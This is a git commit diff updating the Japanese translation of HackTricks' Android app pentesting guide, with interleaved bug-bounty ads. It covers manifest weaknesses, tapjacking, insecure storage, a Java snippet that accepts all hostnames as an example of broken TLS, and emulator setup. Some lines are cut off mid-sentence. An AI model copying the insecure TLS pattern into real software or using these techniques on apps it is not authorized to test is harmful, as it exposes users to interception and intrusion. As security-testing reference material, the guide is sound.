mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Translated ['mobile-pentesting/android-app-pentesting/README.md', 'mobil
This commit is contained in:
parent
da7e32b81a
commit
c99e3f0127
16 changed files with 1673 additions and 1354 deletions
|
@ -12,19 +12,26 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## Androidアプリの基礎知識
|
||||
|
||||
Androidセキュリティに関連する**最も重要な部分と、Androidアプリケーションで最も危険なコンポーネント**について知るために、このページを読むことを強くお勧めします:
|
||||
Androidセキュリティに関連する**最も重要な部分やAndroidアプリの中で最も危険なコンポーネント**について知るために、このページを読むことを強くお勧めします:
|
||||
|
||||
{% content-ref url="android-applications-basics.md" %}
|
||||
[android-applications-basics.md](android-applications-basics.md)
|
||||
|
@ -39,12 +46,12 @@ adbの使用方法については、次の[**ADBコマンドのリスト**](adb-
|
|||
|
||||
## Smali
|
||||
|
||||
**アプリケーションのコードを変更**して**隠された情報**(おそらくよく難読化されたパスワードやフラグ)にアクセスすることが時々興味深いです。その場合、APKを逆コンパイルしてコードを変更し、再コンパイルすることが興味深いかもしれません。\
|
||||
[**このチュートリアル**では、APKを逆コンパイルし、Smaliコードを変更し、新しい機能を持つAPKを再コンパイルする方法を学ぶことができます](smali-changes.md)。これは、**動的解析中に行われるいくつかのテストの代替手段**として非常に役立つ場合があります。そのため、**常にこの可能性を念頭に置いておいてください**。
|
||||
時には、**アプリケーションのコードを変更**して、**隠された情報**(おそらくよく難読化されたパスワードやフラグ)にアクセスすることが興味深い場合があります。その場合、APKを逆コンパイルしてコードを変更し、再コンパイルすることが興味深いかもしれません。\
|
||||
[**このチュートリアル**では、APKを逆コンパイルし、Smaliコードを変更し、新しい機能を持つAPKを再コンパイルする方法を学ぶことができます](smali-changes.md)。これは、動的解析中に行われるいくつかのテストの代替手段として非常に役立つ場合があります。常にこの可能性を念頭に置いてください。
|
||||
|
||||
## その他の興味深いトリック
|
||||
|
||||
* [Play Storeでの位置のスプーフィング](spoofing-your-location-in-play-store.md)
|
||||
* [Playストアでの位置のスプーフィング](spoofing-your-location-in-play-store.md)
|
||||
* **APKのダウンロード**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/)
|
||||
* デバイスからAPKを抽出する:
|
||||
```
|
||||
|
@ -56,15 +63,22 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
|||
|
||||
adb pull /data/app/com.android.insecurebankv2- Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **web3のバグについてもっと学ぶために**
|
||||
**HackenProofはすべての暗号バグ報酬の場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報酬は、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグ報酬について通知を受ける
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから収益を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## 静的解析
|
||||
|
||||
|
@ -73,44 +87,43 @@ adb pull /data/app/com.android.insecurebankv2- Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
|||
|
||||
### 興味深い情報を探す
|
||||
|
||||
APKの**文字列**を見るだけで、**パスワード**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**API**キー、**暗号化**、**Bluetooth UUID**、**トークン**など、興味深い情報を検索できます...コード実行の**バックドア**や認証バックドア(アプリへのハードコードされた管理者資格情報)さえも探してください。
|
||||
APKの**文字列**を見るだけで、**パスワード**、**URL**([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**API**キー、**暗号化**、**Bluetooth UUID**、**トークン**など、興味深い情報を検索できます...コード実行の**バックドア**や認証バックドア(アプリへのハードコードされた管理者資格情報)さえも探してください。
|
||||
|
||||
**Firebase**
|
||||
|
||||
特に**FirebaseのURL**に注意し、それが誤って設定されていないか確認してください。[Firebaseとその悪用方法についての詳細はこちらを参照してください。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
特に**FirebaseのURL**に注意し、構成が正しくないかどうかを確認してください。[Firebaseとその悪用方法の詳細についてはこちらを参照してください。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### アプリケーションの基本的な理解 - Manifest.xml、strings.xml
|
||||
|
||||
[**ここで**](apk-decompilers.md)言及されているいずれかのデコンパイラを使用すると、_Manifest.xml_を読むことができます。また、**apk**ファイルの拡張子を**.zip**に変更し、**解凍**することもできます。\
|
||||
マニフェストを読むことで、以下の脆弱性を見つけることができます。
|
||||
[**ここで**](apk-decompilers.md)言及されているいずれかのデコンパイラを使用すると、_Manifest.xml_を読むことができます。また、**apk**ファイルの拡張子を**.zip**に変更して**解凍**することもできます。\
|
||||
マニフェストを読むことで、以下の**脆弱性**を見つけることができます。
|
||||
|
||||
* まず、アプリケーションが**デバッグ可能かどうか**を確認してください。本番のAPKでは(他の人が接続できる場合があります)、デバッグ可能であってはなりません。マニフェストのタグ_\<application_内の属性`debuggable="true"`を確認することで、アプリケーションがデバッグ可能かどうかを確認できます。例:`<application theme="@2131296387" debuggable="true"`
|
||||
* まず、アプリケーションが**デバッグ可能かどうか**を確認してください。本番のAPKはデバッグ可能ではないはずです(そうでなければ他の人が接続できます)。マニフェストで属性`debuggable="true"`を探すことで、アプリケーションがデバッグ可能かどうかを確認できます。例:`<application theme="@2131296387" debuggable="true"`
|
||||
* [ここで](drozer-tutorial/#is-debuggeable)、電話でデバッグ可能なアプリケーションを見つけて悪用する方法を学びます。
|
||||
* **バックアップ**: **`android:allowBackup`**属性は、USBデバッグが有効になっているユーザーがアプリケーションデータをバックアップおよび復元できるかどうかを定義します。バックアップフラグがtrueに設定されている場合、デバイスがルート化されていなくても、攻撃者はadbを介してアプリケーションデータのバックアップを取得できます。したがって、カードの詳細、パスワードなどの機密情報を処理および保存するアプリケーションは、この設定を明示的に**false**に設定する必要があります。デフォルトでは、これはリスクを防ぐために**true**に設定されています。
|
||||
* **バックアップ**:**`android:allowBackup`**属性は、USBデバッグを有効にしたユーザーがアプリケーションデータをバックアップおよび復元できるかどうかを定義します。バックアップフラグがtrueに設定されている場合、デバイスがルート化されていなくても、攻撃者はadbを介してアプリケーションデータのバックアップを取得できます。したがって、カードの詳細、パスワードなどの機密情報を処理および保存するアプリケーションは、この設定を明示的に**false**に設定する必要があります。デフォルトでは、これはリスクを防ぐために**true**に設定されています。
|
||||
* `<application android:allowBackup="false"`
|
||||
* **NetworkSecurity:** アプリケーションのネットワークセキュリティは、**`android:networkSecurityConfig="@xml/network_security_config"`**でデフォルト値を上書きすることができます。その名前のファイルを_**res/xml**_に配置することができます。このファイルでは、証明書ピンやHTTPトラフィックを許可するかどうかなど、重要なセキュリティ設定を構成します。ここで構成できるすべての設定についての詳細情報はこちらを参照してくださいが、次の例はいくつかのドメインに対してHTTPトラフィックを設定する方法についてのものです:
|
||||
* **NetworkSecurity:**アプリケーションのネットワークセキュリティは、**`android:networkSecurityConfig="@xml/network_security_config"`**でデフォルト値を上書きできます。その名前のファイルを_**res/xml.**_に配置することができます。このファイルでは、証明書ピンやHTTPトラフィックを許可するかどうかなど、重要なセキュリティ設定を構成します。ここで構成できるすべてのことについての詳細情報はこちらを参照してくださいが、次の例はいくつかのドメインに対してHTTPトラフィックを設定する方法についてのものです:
|
||||
* `<domain-config cleartextTrafficPermitted="true"> <domain includeSubdomains="true">formation-software.co.uk </domain></domain-config>`
|
||||
* **エクスポートされたアクティビティ**: マニフェスト内のエクスポートされたアクティビティをチェックしてください。これは危険な場合があります。後で動的解析で[この動作を悪用する方法](./#exploiting-exported-activities-authorisation-bypass)を説明します。
|
||||
* **コンテンツプロバイダ**: エクスポートされたプロバイダが公開されている場合、興味深い情報にアクセス/変更できる場合があります。動的解析では、[これらを悪用する方法](./#exploiting-content-providers-accessing-and-manipulating-sensitive-information)を学びます。
|
||||
* `android:name="android.support.FILE_PROVIDER_PATHS"`という属性内の**FileProviders**の設定を確認してください。[FileProvidersについて詳しくはこちらを読んでください](./#fileprovider)。
|
||||
* **公開されたサービス**: サービスが内部で何を行っているかによって、脆弱性が悪用される可能性があります。動的解析では、[これらを悪用する方法](./#exploiting-services)を学びます。
|
||||
* **ブロードキャストレシーバ**: [これらを悪用する方法](./#exploiting-broadcast-receivers)を学ぶことができます。
|
||||
* **URLスキーム**: スキーマを管理するアクティビティのコードを読み、ユーザーの入力を管理する際の脆弱性を探してください。[URLスキームについての詳細はこちら](./#url-schemes)。
|
||||
* **minSdkVersion**、**targetSDKVersion**、**maxSdkVersion**: これらはアプリが実行されるAndroidのバージョンを示しています。セキュリティの観点から、古いバージョンをサポートすることは、既知の脆弱性のあるAndroidのバージョンで実行されることを許可することになります。
|
||||
* **エクスポートされたアクティビティ**:マニフェスト内のエクスポートされたアクティビティをチェックしてください。これは危険な場合があります。後で動的解析で[この動作を悪用する方法](./#exploiting-exported-activities-authorisation-bypass)を説明します。
|
||||
* **コンテンツプロバイダー**:エクスポートされたプロバイダーが公開されている場合、興味深い情報にアクセス/変更できる場合があります。動的解析では、[これらを悪用する方法](./#exploiting-content-providers-accessing-and-manipulating-sensitive-information)を学びます。
|
||||
* `android:name="android.support.FILE_PROVIDER_PATHS"`という属性内の**FileProviders**の構成を確認してください。[FileProvidersの詳細についてはこちらを読んでください](./#fileprovider)。
|
||||
* **公開されたサービス**:サービスが内部で何を行っているかによって、脆弱性が悪用される場合があります。動的解析では、[これらを悪用する方法](./#exploiting-services)を学びます。
|
||||
* **ブロードキャストレシーバー**:[悪用方法を学ぶことができるかもしれません](./#exploiting-broadcast-receivers)(動的解析時)。
|
||||
* **URLスキーム**:スキーマを管理するアクティビティのコードを読み、ユーザーの入力を処理する際の脆弱性を探してください。[URLスキームの詳細についてはこちらを参照してください](./#url-schemes)。
|
||||
* **minSdkVersion**、**targetSDKVersion**、**maxSdkVersion**:これらはアプリが実行されるAndroidのバージョンを示しています。セキュリティの観点から、古いバージョンをサポートすることは、既知の脆弱性のあるAndroidのバージョンを実行することを許可します。
|
||||
|
||||
**resources.arsc/strings.xml**を読むことで、いくつかの**興味深い情報**を見つけることができます:
|
||||
|
||||
* APIキー
|
||||
* カスタムスキーマ
|
||||
* 他の開発者がこのファイルに保存した興味深い情報
|
||||
* 開発者がこのファイルに保存する他の興味深い情報
|
||||
|
||||
### Tapjacking
|
||||
### タップジャッキング
|
||||
|
||||
**Tapjacking**は、**悪意のあるアプリケーション**が起動し、**被害者アプリケーションの上に自身を配置する**攻撃です。被害者アプリケーションを視覚的に隠し、ユーザーがそれと対話するように見せかけながら、実際には被害者アプリケーションに対して対話を行います。\
|
||||
**タップジャッキング**は、**悪意のあるアプリケーション**が起動し、**被害者アプリケーションの上に配置**される攻撃です。一度被害者アプリケーションを視覚的に隠すと、ユーザーインターフェースはユーザーをだましてそれと対話させるように設計されていますが、実際にはその対話を被害者アプリケーションに渡しています。\
|
||||
実際には、ユーザーは自分が実際に被害者アプリケーション上で操作を行っていることを知ることができません。
|
||||
|
||||
この攻撃に対して脆弱なアプリを検出するためには、Androidマニフェスト内の**エクスポートされたアクティビティ**を検索する必要があります(インテントフィルタを持つアクティビティはデフォルトで自動的にエクスポートされます)。エクスポートされたアクティビティを見つけたら、**必要なパーミッションがあるかどうかを確認してください**。これは、**悪意のあるアプリケーションもそのパーミッションが必要になるため**です。\
|
||||
最後に、コード内で**`setFilterTouchesWhenObscured`**の設定があるかどうかを確認することが重要です。**`true`**に設定されている場合、ボタンは自動的に無効になる可能性があります。
|
||||
この攻撃に対して脆弱なアプリを検出するためには、Androidマニフェスト内の**エクスポートされたアクティビティ**を検索する必要があります(インテントフィルタを持つアクティビティはデフォルトで自動的にエクスポートされます)。エクスポートされたアクティビティを見つけたら、**必要なパーミッションがあ
|
||||
```markup
|
||||
<Button android:text="Button"
|
||||
android:id="@+id/button1"
|
||||
|
@ -120,11 +133,11 @@ android:filterTouchesWhenObscured="true">
|
|||
</Button>
|
||||
```
|
||||
[**qark**](https://github.com/linkedin/qark)を`--exploit-apk`パラメータと共に使用すると、潜在的な**Tapjacking**の脆弱性をテストするための悪意のあるアプリケーションを作成することができます。\
|
||||
このような機能を実装した例のプロジェクトは、[**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp)で見つけることができます。
|
||||
このような機能を実装したサンプルプロジェクトは、[**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp)で見つけることができます。
|
||||
|
||||
対策は比較的簡単で、開発者は他のビューによってカバーされている場合にタッチイベントを受け取らないように選択することができます。[Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security)を使用して次のように説明されています。
|
||||
対策は比較的簡単で、開発者は他のビューによって覆われた場合にタッチイベントを受け取らないように選択することができます。[Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security)を使用します。
|
||||
|
||||
> ユーザーの完全な知識と同意のもとでアクションが実行されていることをアプリケーションが確認できることは、許可リクエストの許可、購入の実行、広告のクリックなど、いくつかの場合において重要です。残念ながら、悪意のあるアプリケーションは、意図したビューの目的を隠してユーザーにこれらのアクションを実行させようとすることがあります。この問題に対処するために、フレームワークはセキュリティを向上させるために使用できるタッチフィルタリングメカニズムを提供しています。
|
||||
> ユーザーの完全な知識と同意のもとでアクションが実行されていることをアプリケーションが確認できることは、許可リクエストの許可、購入の実行、広告のクリックなど、いくつかの場合において重要です。残念ながら、悪意のあるアプリケーションは、意図したビューの目的を隠してユーザーにこれらのアクションを実行させようとする可能性があります。この問題に対処するために、フレームワークはセキュリティを向上させるために使用できるタッチフィルタリングメカニズムを提供しています。
|
||||
>
|
||||
> タッチフィルタリングを有効にするには、[`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29)を呼び出すか、android:filterTouchesWhenObscuredレイアウト属性をtrueに設定します。有効にすると、フレームワークは、ビューのウィンドウが他の可視ウィンドウによって隠されている場合に受け取ったタッチを破棄します。その結果、ビューは、トースト、ダイアログ、または他のウィンドウがビューのウィンドウの上に表示される場合にはタッチを受け取りません。
|
||||
|
||||
|
@ -138,13 +151,13 @@ android:filterTouchesWhenObscured="true">
|
|||
|
||||
**内部ストレージ**
|
||||
|
||||
**内部**ストレージに**作成**されたファイルは、**アプリ**のみが**アクセス**できます。この保護はAndroidによって実装されており、ほとんどのアプリケーションには十分です。しかし、開発者はしばしば`MODE_WORLD_READBALE`および`MODE_WORLD_WRITABLE`を使用して、これらのファイルに別のアプリケーションへのアクセスを許可しますが、これにより他のアプリ(悪意のあるアプリ)がそれらにアクセスする制限はありません。\
|
||||
**静的**解析では、これらの**モード**の使用をチェックし、**動的**解析では作成されたファイルの**許可**をチェックします(おそらくいくつかのファイルがグローバルに読み取り/書き込み可能です)。\
|
||||
[この脆弱性とその修正方法の詳細はこちらを参照してください。](https://manifestsecurity.com/android-application-security-part-8/)
|
||||
**内部**ストレージに**作成**されたファイルは、**アプリ**のみが**アクセス可能**です。この保護はAndroidによって実装されており、ほとんどのアプリケーションには十分です。しかし、開発者はしばしば`MODE_WORLD_READBALE`および`MODE_WORLD_WRITABLE`を使用して、これらのファイルに別のアプリケーションへのアクセスを許可しますが、これにより他のアプリ(悪意のあるアプリ)がそれらにアクセスする制限はありません。\
|
||||
**静的**解析では、これらの**モード**の使用をチェックし、**動的**解析では作成されたファイルの**許可**をチェックします(おそらくいくつかのファイルはグローバルに読み取り/書き込み可能です)。\
|
||||
[この脆弱性についての詳細情報と修正方法はこちらを参照してください。](https://manifestsecurity.com/android-application-security-part-8/)
|
||||
|
||||
**外部ストレージ**
|
||||
|
||||
SDカードなどの**外部ストレージ**に作成されたファイルは、**グローバルに読み取りおよび書き込み**が可能です。外部ストレージはユーザーによって取り外され、また任意のアプリケーションによって変更される可能性があるため、**外部ストレージを使用して機密情報を保存しない**ことをお勧めします。\
|
||||
SDカードなどの**外部ストレージ**に作成されたファイルは、**グローバルに読み取りおよび書き込み可能**です。外部ストレージはユーザーによって取り外され、また任意のアプリケーションによって変更される可能性があるため、**外部ストレージを使用して機密情報を保存しないでください**。\
|
||||
信頼できないソースからのデータと同様に、**外部ストレージからのデータを処理する際には入力検証を実行**する必要があります。アプリが外部ストレージから実行可能ファイルを取得する場合は、ファイルを署名し、動的ローディングの前に暗号的に検証する必要があります。\
|
||||
情報は[こちら](https://manifestsecurity.com/android-application-security-part-8/)から取得しました。
|
||||
|
||||
|
@ -156,37 +169,35 @@ Android 4.4(**API 17**)以降、SDカードにはアプリケーションご
|
|||
|
||||
**クリアテキストで保存された機密データ**
|
||||
|
||||
* **Shared preferences**: Androidは各アプリケーションが簡単にxmlファイルを`/data/data/<packagename>/shared_prefs/`パスに保存できるようにしており、そのフォルダにクリアテキストで機密情報が含まれている場合があります。
|
||||
* **Databases**: Androidは各アプリケーションが簡単にsqliteデータベースを`/data/data/<packagename>/databases/`パスに保存できるようにしており、そのフォルダにクリアテキストで機密情報が含まれている場合があります。
|
||||
* **共有プリファレンス**:Androidは各アプリケーションが簡単にxmlファイルを`/data/data/<packagename>/shared_prefs/`パスに保存できるようにし、そのフォルダにクリアテキストで機密情報が含まれている場合があります。
|
||||
* **データベース**:Androidは各アプリケーションが簡単にsqliteデータベースを`/data/data/<packagename>/databases/`パスに保存できるようにし、そのフォルダにクリアテキストで機密情報が含まれている場合があります。
|
||||
|
||||
### 破損したTLS
|
||||
|
||||
**すべての証明書を受け入れる**
|
||||
|
||||
何らかの理由で、ホスト名が一致しない場合でも、開発者はすべての証明書を受け入れることがあります。以下のようなコード行で証明書を受け入れる例です:
|
||||
何らかの理由で、ホスト名が一致しない場合でも、開発者はすべての証明書を受け入れることがあります。以下のようなコード行で証明書を受け入れることがあります。
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
良い方法は、デバイス内でBurp CAの承認をせずに、Burpのようなプロキシを使用してトラフィックをキャプチャしようとすることです。また、Burpで異なるホスト名の証明書を生成して使用することもできます。
|
||||
|
||||
### 破損した暗号化
|
||||
|
||||
**鍵管理プロセスの不備**
|
||||
|
||||
一部の開発者は、機密データをローカルストレージに保存し、コード内でハードコード/予測可能なキーで暗号化しています。これは行ってはいけません。リバースエンジニアリングによって攻撃者が機密情報を抽出することができる可能性があるためです。
|
||||
一部の開発者は、機密データをローカルストレージに保存し、コード内でハードコード化/予測可能な鍵で暗号化しています。これは行ってはいけません。逆向きエンジニアリングによって攻撃者が機密情報を抽出することができる可能性があるためです。
|
||||
|
||||
**安全でないおよび/または非推奨のアルゴリズムの使用**
|
||||
|
||||
開発者は、**非推奨のアルゴリズム**を使用して認証の**チェック**、**データの保存**または**送信**を行うべきではありません。これらのアルゴリズムのいくつかは、RC4、MD4、MD5、SHA1などです。たとえば、パスワードを保存するためにハッシュが使用される場合、ソルトを使用したハッシュブルートフォース**耐性**を使用する必要があります。
|
||||
開発者は、**非推奨のアルゴリズム**を使用して認証の**チェック**、**データの保存**または**送信**を行うべきではありません。これらのアルゴリズムのいくつかは、RC4、MD4、MD5、SHA1などです。たとえばパスワードを保存するためにハッシュが使用される場合、ソルトを使用したハッシュブルートフォース**耐性**を使用する必要があります。
|
||||
|
||||
### その他のチェック
|
||||
|
||||
* APKを**難読化**することをお勧めします。これにより、逆向きエンジニアリングの作業が攻撃者に困難になります。
|
||||
* アプリが機密情報を含む場合(銀行アプリなど)、モバイルがルート化されているかどうかを**独自にチェック**し、適切な対処を行うべきです。
|
||||
* アプリが機密情報を含む場合(銀行アプリなど)、エミュレータが使用されていないかをチェックするべきです。
|
||||
* アプリが機密情報を含む場合(銀行アプリなど)、実行する前に**独自の整合性をチェック**して、変更されていないかを確認するべきです。
|
||||
* APKのビルドに使用されたコンパイラ/パッカー/難読化ツールを確認するために、[**APKiD**](https://github.com/rednaga/APKiD)を使用してください。
|
||||
* APKを**難読化**することをお勧めします。これにより、逆向きエンジニアリングを困難にすることができます。
|
||||
* アプリが機密情報を扱う場合(銀行アプリなど)、モバイルがルート化されているかどうかを**独自にチェック**し、適切な対処を行うべきです。
|
||||
* アプリが機密情報を扱う場合(銀行アプリなど)、エミュレータが使用されていないかをチェックするべきです。
|
||||
* アプリが機密情報を扱う場合(銀行アプリなど)、実行する前に**自己の整合性をチェック**して、変更されていないかを確認するべきです。
|
||||
* APKのビルドに使用されたコンパイラ/パッカー/難読化ツールをチェックするために、[**APKiD**](https://github.com/rednaga/APKiD)を使用してください。
|
||||
|
||||
### React Nativeアプリケーション
|
||||
|
||||
|
@ -198,7 +209,7 @@ ReactアプリケーションのJavaScriptコードに簡単にアクセスす
|
|||
|
||||
### Xamarinアプリケーション
|
||||
|
||||
**Xamarin**アプリは**C#**で書かれており、C#コードにアクセスするためには、**apk**からファイルを取得する必要があります。
|
||||
**Xamarin**アプリは**C#**で書かれており、C#コードにアクセスするためには**apk**からファイルを取得する必要があります。
|
||||
```bash
|
||||
7z r app.apk #Or any other zip decompression cmd
|
||||
```
|
||||
|
@ -212,7 +223,7 @@ python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
|||
|
||||
ツール[**mariana-trench**](https://github.com/facebook/mariana-trench)は、アプリケーションの**コード**を**スキャン**することで**脆弱性**を見つけることができます。このツールには、ツールに**ユーザーによって制御される入力**の**場所**を示す**既知のソース**、悪意のあるユーザーの入力が損害を引き起こす可能性のある**危険な場所**を示す**シンク**、および**ルール**が含まれています。これらのルールは、脆弱性を示す**ソース-シンク**の組み合わせを示します。
|
||||
|
||||
この知識を活用して、**mariana-trenchはコードをレビューし、そこに潜在的な脆弱性を見つける**でしょう。
|
||||
この知識を活用して、**mariana-trenchはコードをレビューし、可能な脆弱性を見つけます**。
|
||||
|
||||
### 漏洩した秘密
|
||||
|
||||
|
@ -237,19 +248,26 @@ python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
|||
[content-protocol.md](content-protocol.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてさらに学びましょう**
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## 動的解析
|
||||
|
||||
> まず、アプリケーションとすべての環境(Burp CA証明書、Drozer、Fridaなど)をインストールできる環境が必要です。したがって、ルート化されたデバイス(エミュレートされているかどうかに関係なく)が非常におすすめです。
|
||||
> まず、アプリケーションとすべての環境(Burp CA証明書、Drozer、Fridaなど)をインストールできる環境が必要です。したがって、ルート化されたデバイス(エミュレートされたものでもない)が非常におすすめです。
|
||||
|
||||
### オンライン動的解析
|
||||
|
||||
|
@ -265,17 +283,17 @@ ADB接続を使用して、エミュレータ内で**Drozer**と**Frida**を使
|
|||
|
||||
次のような**エミュレータ**を使用できます。
|
||||
|
||||
* [**Android Studio**](https://developer.android.com/studio)(**x86**と**arm**デバイスを作成でき、[**この** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**最新のx86**バージョンでは**ARMライブラリをサポート**しています(遅いARMエミュレータは必要ありません))。
|
||||
* [**Android Studio**](https://developer.android.com/studio)(**x86**と**arm**デバイスを作成でき、[**最新のx86**バージョンは**ARMライブラリをサポート**しています](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**、遅いarmエミュレータは必要ありません)。
|
||||
* **イメージをインストール**してから**削除**する場合は、Windowsの場合:`C:\Users\<User>\AppData\Local\Android\sdk\system-images\`またはMacの場合:`/Users/myeongsic/Library/Android/sdk/system-image`
|
||||
* これは**主なエミュレータであり、[このページ](avd-android-virtual-device.md)で設定方法を学ぶことができます**。
|
||||
* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(無料版:** Personal Edition、アカウントを作成する必要があります。_潜在的なエラーを回避するために_ _**VirtualBox**を備えたバージョンを**ダウンロード**することをお勧めします。_)
|
||||
* これは**主なエミュレータであり、[このページで設定方法を学ぶことができます](avd-android-virtual-device.md)**。
|
||||
* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(無料版:Personal Edition、アカウントを作成する必要があります。_潜在的なエラーを回避するために**VirtualBox**を備えたバージョンをダウンロードすることをお勧めします。_)**
|
||||
* [Nox](https://es.bignox.com)(無料ですが、FridaやDrozerはサポートしていません)。
|
||||
|
||||
{% hint style="info" %}
|
||||
どのプラットフォームでも、新しいエミュレータを作成する際には、画面が大きいほどエミュレータの動作が遅くなることに注意してください。可能な限り小さい画面を選択してください。
|
||||
どのプラットフォームでも新しいエミュレータを作成する際には、画面が大きいほどエミュレータの動作が遅くなることに注意してください。可能な限り小さい画面を選択してください。
|
||||
{% endhint %}
|
||||
|
||||
ほとんどの人が**Genymotion**を使用すると思いますので、このトリックに注意してください。Google Playストアなどの**Googleサービスをインストール**するには、次の画像の赤でマークされたボタンをクリックする必要があります。
|
||||
ほとんどの人が**Genymotion**を使用すると思いますので、このトリックに注意してください。AppStoreなどの**Googleサービスをインストール**するには、次の画像の赤でマークされたボタンをクリックする必要があります。
|
||||
|
||||
![](<../../.gitbook/assets/image (200) (1).png>)
|
||||
|
||||
|
@ -289,39 +307,40 @@ ADB接続を使用して、エミュレータ内で**Drozer**と**Frida**を使
|
|||
4. **ビルド番号**を7回押します。
|
||||
5. 戻ると、**開発者オプション**が表示されます。
|
||||
|
||||
> アプリケーションをインストールした後、最初に行うべきことは、アプリケーションを試して調査し、その動作や機能に慣れることです。\
|
||||
> MobSFの動的解析+pidcatを使用して、**アプリケーションの動作を学びながら**、MobSFが後で確認できる**興味深いデータ**をキャプチャすることをお勧めします。
|
||||
> アプリケーションをインストールした後、最初に行うべきことは、アプリケーションを試して調査し、その動作や使い方に慣れることです。\
|
||||
> MobSFの動的解析+pidcatを使用して、この初期の動的解析を実行することをお勧めします。これにより、MobSFが後で確認できる多くの興味深いデータをキャプチャすることができます。
|
||||
|
||||
### 意図しないデータの漏洩
|
||||
|
||||
**ログ**
|
||||
|
||||
開発者はデバッグ情報を公開することがよくあります。そのため、`READ_LOGS`パーミッションを持つアプリケーションは、それらのログにアクセスし、それを通じて機密情報を取得することができます。\
|
||||
アプリケーションを操作する際には、作成されたログを読むために[**pidcat**](https://github.com/JakeWharton/pidcat)(おすすめ、使用しやすく読みやすい)または[adb logcat](adb-commands.md#logcat)を使用して、**
|
||||
### SQLite DBs
|
||||
開発者はデバッ
|
||||
